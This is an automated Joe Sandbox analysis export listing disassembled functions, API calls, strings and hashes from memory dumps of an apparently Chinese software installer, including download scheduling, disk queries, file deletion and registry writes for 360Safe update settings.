GetTickCount.KERNEL32 ref: 5F501DFB

Part of subcall function 5F4FDF99: WaitForSingleObject.KERNEL32(?,000000FF), ref: 5F4FDFA1

GetTickCount.KERNEL32 ref: 5F501E1A
GetTickCount.KERNEL32 ref: 5F501E2A

Part of subcall function 5F513FED: _memset.LIBCMT ref: 5F514020
Part of subcall function 5F513FED: wvnsprintfW.SHLWAPI(?,000003FF,?,00007148), ref: 5F51403B

GetTickCount.KERNEL32 ref: 5F501E57
GetTickCount.KERNEL32 ref: 5F501E63
SetEvent.KERNEL32(?), ref: 5F501E9E

Strings

p2sp.TaskScheduler, xrefs: 5F501DC1
[TaskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d., xrefs: 5F501E41
[TaskScheduler] OnTimer cost:%dms, queue:%d., xrefs: 5F501E74

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CountTick$_memset$CurrentDispatcherEventExceptionH_prolog3ObjectSingleThreadUserWaitwvnsprintf
String ID: [TaskScheduler] OnTimer cost:%dms, queue:%d.$[TaskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d.$p2sp.TaskScheduler
API String ID: 1333431131-1132454424
Opcode ID: 3cfe084f22275f37df1b9b5a66e93cbb7d861434eb5e706f9d4cfef2a5bf7553
Instruction ID: a3cc26cbcfd2d479c6deb8125002a61b3c4bbeb0c6a99ba890733800320b7511
Opcode Fuzzy Hash: 3cfe084f22275f37df1b9b5a66e93cbb7d861434eb5e706f9d4cfef2a5bf7553
Instruction Fuzzy Hash: 8D214BB2D112199FDB00EFF4C944AAEBBF9BF48211F10453BE115E6180D775AA158BA2

Function 001D22E0 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 208comCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001D22E7
CoCreateInstance.OLE32(0022C868,00000000,00000001,0022C798,0017BD49,0000002C,001D45AD,?,?,?,?,?,?,?,?,?), ref: 001D2305
SysFreeString.OLEAUT32(?), ref: 001D2364
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 001D2389
SysFreeString.OLEAUT32(?), ref: 001D2405
SysFreeString.OLEAUT32(?), ref: 001D240A
VariantClear.OLEAUT32(?), ref: 001D2460

Strings

MediaType, xrefs: 001D2472
Root\Microsoft\Windows\Storage, xrefs: 001D232D
WQL, xrefs: 001D23D0
SELECT * FROM MSFT_PhysicalDisk WHERE DeviceId='%d', xrefs: 001D23A6

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FreeString$BlanketClearCreateH_prolog3InstanceProxyVariant
String ID: MediaType$Root\Microsoft\Windows\Storage$SELECT * FROM MSFT_PhysicalDisk WHERE DeviceId='%d'$WQL
API String ID: 2951287799-4271271752
Opcode ID: d7a06cabf4db139307cf82aa7e1925fb34de884b004821c24fc7f09ea70582f8
Instruction ID: f10a96fdc4924b5c7305b7a22260ede60c12aa7465d23550548d1e7b0b68edc3
Opcode Fuzzy Hash: d7a06cabf4db139307cf82aa7e1925fb34de884b004821c24fc7f09ea70582f8
Instruction Fuzzy Hash: DF717E71A00249EFDF05DFE4C889AADBBB8FF69304F248459F915AB290C7349E45CB21

Function 00169990 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 106synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(06AC2023,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 001699D6
CreateMutexW.KERNEL32(00000000,00000001,?,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 00169A0C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 00169A1F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 00169A2F

Part of subcall function 00169FA0: GetProcessHeap.KERNEL32(00000000,00169A51,?,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 00169FA3
Part of subcall function 00169FA0: HeapAlloc.KERNEL32(00000000,00000000,000005C0,?,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 00169FB4

__CxxThrowException@8.LIBCMT ref: 00169A7F
__CxxThrowException@8.LIBCMT ref: 00169AA6

Part of subcall function 00169DE0: _memset.LIBCMT ref: 00169E27
Part of subcall function 00169DE0: TlsAlloc.KERNEL32 ref: 00169E53
Part of subcall function 00169DE0: __CxxThrowException@8.LIBCMT ref: 00169E73

ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 00169ABE
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,0021CB6B,000000FF), ref: 00169AC9

Strings

%s %u, xrefs: 001699E2
1830B7BD-F7A3-4c4d-989B-C004DE465EDE, xrefs: 001699DD
,$, xrefs: 00169ACF

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Exception@8Throw$AllocHeapMutexProcess$CloseCreateCurrentErrorHandleLastObjectReleaseSingleWait_memset
String ID: %s %u$,$$1830B7BD-F7A3-4c4d-989B-C004DE465EDE
API String ID: 750356677-1808174439
Opcode ID: 6cb0e6ee19572d5ceba66c876bc71b2cfc92a99219a7cbfde281a41b964ab2ef
Instruction ID: e8abf53e4ed91571fc95dbda07c9a451e15dd7883d220af1ed17ddd847048647
Opcode Fuzzy Hash: 6cb0e6ee19572d5ceba66c876bc71b2cfc92a99219a7cbfde281a41b964ab2ef
Instruction Fuzzy Hash: D531F270904244ABDB10DFA4EC49BAE7BFCFF59714F408169E819D7281EB349A14CF90

Function 001C94CC Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 146fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001C94EB
_wcslen.LIBCMT ref: 001C9504
_memset.LIBCMT ref: 001C9542

Part of subcall function 001BD71E: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD74A
Part of subcall function 001BD71E: GetFullPathNameW.KERNEL32(?,00000104,?,00000000,0000018E,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD767
Part of subcall function 001BD71E: SetLastError.KERNEL32(0000007B,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD77A

RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,0000000C), ref: 001C9686

Part of subcall function 001BEE1E: __EH_prolog3.LIBCMT ref: 001BEE25

_memset.LIBCMT ref: 001C95F1
_memset.LIBCMT ref: 001C962F
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000010,?,?,?,?,?,?,?,?,0000000C), ref: 001C9656
MoveFileExW.KERNEL32(?,00000000,00000004,?,?,?,?,?,00000010,?,?), ref: 001C966A

Strings

%s\*.*, xrefs: 001C9548
%s\%s, xrefs: 001C9577, 001C9606, 001C9644

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File_memset$H_prolog3$DeleteDirectoryErrorFindFirstFullLastMoveNamePathRemove_wcslen
String ID: %s\%s$%s\*.*
API String ID: 1197279183-1665845743
Opcode ID: f2cefebd67acc628400d41a2a6ced8caac07f1e732795da5f018db7b0d9603c1
Instruction ID: 0640222ba3949387b974a71c546a608fa0b24c70327bbb1ef63ea37a3d56a019
Opcode Fuzzy Hash: f2cefebd67acc628400d41a2a6ced8caac07f1e732795da5f018db7b0d9603c1
Instruction Fuzzy Hash: A2510C7191029DABDF24EFA5DD49BEF77ACEF24704F004429F909DB181EB74A6048BA4

Function 001CE7DF Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 116fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001CE7FE

Part of subcall function 0018ECB6: __EH_prolog3.LIBCMT ref: 0018ECBD

Part of subcall function 001CE697: __EH_prolog3.LIBCMT ref: 001CE69E

_memset.LIBCMT ref: 001CE887
CreateFileW.KERNEL32(00000000,00120116,00000002,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,0000002C), ref: 001CE8D9
_wcslen.LIBCMT ref: 001CE8EA
WriteFile.KERNEL32(00000000,00000000,00000000,0017BD49,00000000,?,?,?,?,?,?,?,?,0000002C), ref: 001CE901
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,0000002C), ref: 001CE925
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,0000002C), ref: 001CE92E

Strings

%s\%s.tf, xrefs: 001CE8B8

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FileH_prolog3$CloseCreateDeleteHandleWrite_memset_wcslen
String ID: %s\%s.tf
API String ID: 3257772056-3749842194
Opcode ID: 3f47c7874e85eb92869faaf8cea9c2570911b00da3bc7ff2be71360f9aa5d589
Instruction ID: cc5dff4c4d379624bab185ddc56606556cd06b8a038477986d55ed07586d796a
Opcode Fuzzy Hash: 3f47c7874e85eb92869faaf8cea9c2570911b00da3bc7ff2be71360f9aa5d589
Instruction Fuzzy Hash: BA417DB1900248ABDF25EFA4DC4AEFE7BB8EF64310F104119F925A7281DB709A44CB61

Function 5F517367 Relevance: 16.6, APIs: 11, Instructions: 97registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,00000010,?), ref: 5F517390

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e364f05b014c77b388c442d5e306ec4f58a8d6d45223c01b982cbc60c11d4f9
Instruction ID: b173412430143a81dc2a817eee3ee1d543ddfdf988c2459eb8afee302582ae2a
Opcode Fuzzy Hash: 4e364f05b014c77b388c442d5e306ec4f58a8d6d45223c01b982cbc60c11d4f9
Instruction Fuzzy Hash: BD3129B6100601AFE7205F39EC88D96BFF9EB84321B108C3DF59E93510D771A9A8DB50

Function 001CA2D7 Relevance: 16.6, APIs: 11, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,?,?,?,?,001CA3CA,?,00000000,?), ref: 001CA2E7
SizeofResource.KERNEL32(?,00000000,?,?,?,?,001CA3CA,?,00000000,?), ref: 001CA301
LoadResource.KERNEL32(?,00000000,?,?,?,?,001CA3CA,?,00000000,?), ref: 001CA311
LockResource.KERNEL32(00000000,?,?,?,?,001CA3CA,?,00000000,?), ref: 001CA318
GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,001CA3CA,?,00000000,?), ref: 001CA327
GlobalFree.KERNEL32(00000000), ref: 001CA349

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Resource$Global$AllocFindFreeLoadLockSizeof
String ID:
API String ID: 3537612842-0
Opcode ID: bc11070a0a01d139a0b12b5e398329b81532ad6c06127d9de032140560efceda
Instruction ID: 40e78c40914e30ba23b7c0648bf79496606c961a5840f4397b482dea91f32736
Opcode Fuzzy Hash: bc11070a0a01d139a0b12b5e398329b81532ad6c06127d9de032140560efceda
Instruction Fuzzy Hash: AD217131500268BFDB126F60AC5CDEF7B69FFA97543568418FC15D2120EB31CD509A62

Function 001D0691 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 140fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001D06B0
PathFileExistsW.SHLWAPI(?,00000010), ref: 001D06CC
_memset.LIBCMT ref: 001D070A

Part of subcall function 001BD71E: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD74A
Part of subcall function 001BD71E: GetFullPathNameW.KERNEL32(?,00000104,?,00000000,0000018E,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD767
Part of subcall function 001BD71E: SetLastError.KERNEL32(0000007B,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 001BD77A

RemoveDirectoryW.KERNEL32(?,?), ref: 001D083D

Part of subcall function 001BEE1E: __EH_prolog3.LIBCMT ref: 001BEE25

_memset.LIBCMT ref: 001D07B9
_memset.LIBCMT ref: 001D07FA
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000010,0000000C,?), ref: 001D0821

Strings

%s\*.*, xrefs: 001D0710
%s\%s, xrefs: 001D073F, 001D07CE, 001D080F

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File_memset$H_prolog3Path$DeleteDirectoryErrorExistsFindFirstFullLastNameRemove
String ID: %s\%s$%s\*.*
API String ID: 3885202939-1665845743
Opcode ID: c96f91831df795bd9ae0f84106779c3f2f49818c4afca1b6f3b78ac9bdbd7dcc
Instruction ID: ac727f5010a9e9bd4ea3a1638f775566e0c138288d5db8cfea03c38aba697d49
Opcode Fuzzy Hash: c96f91831df795bd9ae0f84106779c3f2f49818c4afca1b6f3b78ac9bdbd7dcc
Instruction Fuzzy Hash: 02513F7191028DABDF25EFA5DC85BEF77A8EF18704F00442AF909DB141EB34A604CBA4

Function 001976FE Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,?,00000006,0000044C), ref: 00197744

Part of subcall function 0018E185: GetDC.USER32(?), ref: 0018E193

Part of subcall function 001E5546: _malloc.LIBCMT ref: 001E5560

Part of subcall function 00197323: CreateCompatibleDC.GDI32(?), ref: 00197347
Part of subcall function 00197323: SelectObject.GDI32(?,?), ref: 0019736E
Part of subcall function 00197323: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00197387

GetClientRect.USER32(?,?), ref: 001977B4
GetDlgItem.USER32(?,000003E9), ref: 001977D0
GetClientRect.USER32(?,?), ref: 0019780F
SetWindowPos.USER32(?,00000000,?,00000000,00000000,00000000,00000005), ref: 00197831
GetDlgItem.USER32(?,000003E8), ref: 0019784D
GetClientRect.USER32(?,?), ref: 00197880
SetWindowPos.USER32(?,00000000,?,00000000,00000000,00000000,00000005), ref: 001978A3

Strings

PNG, xrefs: 001977E4, 00197861

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ClientRectWindow$Item$CompatibleCreateObjectSelectViewport_malloc
String ID: PNG
API String ID: 3600242490-364855578
Opcode ID: 734d9f2f310319de8a7ffbcaf2fb0436c73ffb9b08c49283a1c09c3ecfe6ab1b
Instruction ID: 7f02f24ed7cbb7414cbe7c63ec2bb1a46e7153e53391bec500336d509e058e74
Opcode Fuzzy Hash: 734d9f2f310319de8a7ffbcaf2fb0436c73ffb9b08c49283a1c09c3ecfe6ab1b
Instruction Fuzzy Hash: 2C512970900608AFDF15EFA4DC89EEEBBB9FFA9704F40041EF516A21A1EB716505CB20

Function 5F4E55CE Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 125COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 5F4E55D5
GetLastError.KERNEL32(00000000,5F4FB438,00000000,?,?,5F4FC3E5,?,00000007,?), ref: 5F4E5643

Part of subcall function 5F51405E: _memset.LIBCMT ref: 5F514091
Part of subcall function 5F51405E: wvnsprintfW.SHLWAPI(?,000003FF,5F5BC288,5F4FE1F9), ref: 5F5140AC

Strings

[%d.] ErrorCode =%d,StartDownload, xrefs: 5F4E56A3
[%d.] ErrorCode =%d,, xrefs: 5F4E5650
[%d.%3d] AsyncStartDownload from %I64d to %I64d HttpNum = %d , xrefs: 5F4E56F2
[%d.] , xrefs: 5F4E55EB

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ErrorH_prolog3Last_memsetwvnsprintf
String ID: [%d.%3d] AsyncStartDownload from %I64d to %I64d HttpNum = %d $[%d.] $[%d.] ErrorCode =%d,$[%d.] ErrorCode =%d,StartDownload
API String ID: 2481933832-1659077646
Opcode ID: 83e3ef696064a459706792e3ce2d97229277803e2699c61eef993f288d9c24aa
Instruction ID: 9a049e8ecc867252e44e27a0ca6f550f673a8b664b8b6c68f675badea131e242
Opcode Fuzzy Hash: 83e3ef696064a459706792e3ce2d97229277803e2699c61eef993f288d9c24aa
Instruction Fuzzy Hash: E0510CB1505701EBDB51DFB4C844B96BBE2FF48310F10862AE96EDB391D732A464CBA1

Function 5F4D9657 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?), ref: 5F4D96B6
GetTickCount.KERNEL32 ref: 5F4D96C0
MoveFileW.KERNEL32(?,?), ref: 5F4D96DE
GetLastError.KERNEL32 ref: 5F4D96E4

Strings

%s.%u, xrefs: 5F4D96CB
[%d.] RenameFile file(%s) already exist, xrefs: 5F4D96EE
[%d.] MoveFile fail, error code is %d, xrefs: 5F4D971C

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: File$CountDeleteErrorLastMoveTick
String ID: %s.%u$[%d.] MoveFile fail, error code is %d$[%d.] RenameFile file(%s) already exist
API String ID: 804011810-1231871111
Opcode ID: 3e8d06326046c3d4b51c0ed881bb3267adfa32fb5402de3fcbbe9acc592893aa
Instruction ID: a24511da0bf435e7d104e3927dcaf27702c84ade4df86ea28834d548bc4ee49b
Opcode Fuzzy Hash: 3e8d06326046c3d4b51c0ed881bb3267adfa32fb5402de3fcbbe9acc592893aa
Instruction Fuzzy Hash: B131A1B2501204EBD7245FE88D68EAE77FAFF45720F00452EF55BD6240EB31A4108B91

Function 001C8657 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001C867B
_memset.LIBCMT ref: 001C868C
GetVersionExW.KERNEL32(?,?,?,?,?,?,00000000), ref: 001C86A1
GetVersionExW.KERNEL32(?,?,?,?,?,?,00000000), ref: 001C86B2
GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,00000000), ref: 001C86C2
GetProcAddress.KERNEL32(00000000), ref: 001C86C9
GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,00000000), ref: 001C86D7

Strings

kernel32.dll, xrefs: 001C86BD
GetNativeSystemInfo, xrefs: 001C86B8

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Version_memset$AddressHandleInfoModuleNativeProcSystem
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 675204089-192647395
Opcode ID: 0f5ad22118eb6b7bddef30bcfd75908def594cf0a63ab405f5a6bfc8246a1251
Instruction ID: 4adbb9e28224c53d8e65939e61d05463b6be1abdf995c74c12e152e296c78596
Opcode Fuzzy Hash: 0f5ad22118eb6b7bddef30bcfd75908def594cf0a63ab405f5a6bfc8246a1251
Instruction Fuzzy Hash: E9114F71D102289BDF10EBE5AC49FEE77A8AF14708F010559E525E7180EF74D505CA91

Function 001E3120 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001E3142

Part of subcall function 001E2050: _memset.LIBCMT ref: 001E2085
Part of subcall function 001E2050: _memset.LIBCMT ref: 001E212B
Part of subcall function 001E2050: _strncat.LIBCMT ref: 001E21AF

_memset.LIBCMT ref: 001E31C9
SHSetValueA.SHLWAPI ref: 001E31FA
SHSetValueA.SHLWAPI(80000002,Software\360Safe\Liveup,mid_old,00000001,?,?), ref: 001E3269
SHSetValueA.SHLWAPI(80000002,Software\360Safe\Liveup,mid,00000001,?,?), ref: 001E3298

Strings

mid, xrefs: 001E31E3, 001E3289
Software\360Safe\Liveup, xrefs: 001E31E8, 001E325F, 001E328E
mid_old, xrefs: 001E325A

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
